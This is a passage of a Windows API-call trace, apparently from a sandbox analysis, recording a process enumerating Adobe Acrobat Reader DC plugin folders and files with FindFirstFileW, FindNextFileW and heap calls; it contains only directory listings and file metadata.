ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0259.251] GetProcessHeap () returned 0xc10000 [0259.251] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.251] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.252] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.252] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.252] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.252] GetProcessHeap () returned 0xc10000 [0259.252] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.252] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.252] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0259.252] GetProcessHeap () returned 0xc10000 [0259.252] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.252] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0259.252] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.252] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1713, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.253] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1713, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.253] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0259.253] GetProcessHeap () returned 0xc10000 [0259.253] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.253] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0259.253] GetProcessHeap () returned 0xc10000 [0259.253] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.253] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.253] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.253] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.253] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.253] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.254] GetProcessHeap () returned 0xc10000 [0259.254] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.254] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0259.254] GetProcessHeap () returned 0xc10000 [0259.254] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.254] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.254] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1213, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.254] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1213, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.254] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.254] GetProcessHeap () returned 0xc10000 [0259.254] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.254] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0259.254] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0259.255] GetProcessHeap () returned 0xc10000 [0259.255] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0259.255] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b57, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0259.255] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6e08, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0259.255] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6e08, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0259.255] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0259.255] GetProcessHeap () returned 0xc10000 [0259.255] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0259.393] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0259.394] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0259.394] GetProcessHeap () returned 0xc10000 [0259.394] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0259.394] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="on-boarding", cAlternateFileName="ON-BOA~1")) returned 1 [0259.394] GetProcessHeap () returned 0xc10000 [0259.394] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0259.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0259.396] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.396] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0259.396] GetProcessHeap () returned 0xc10000 [0259.396] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0259.396] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0259.400] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.401] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0259.401] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb94e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0259.401] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb94e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0259.401] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0259.401] GetProcessHeap () returned 0xc10000 [0259.401] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0259.401] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0259.401] GetProcessHeap () returned 0xc10000 [0259.401] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0259.401] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.402] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.402] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themeless", cAlternateFileName="THEMEL~1")) returned 1 [0259.402] GetProcessHeap () returned 0xc10000 [0259.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0259.403] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 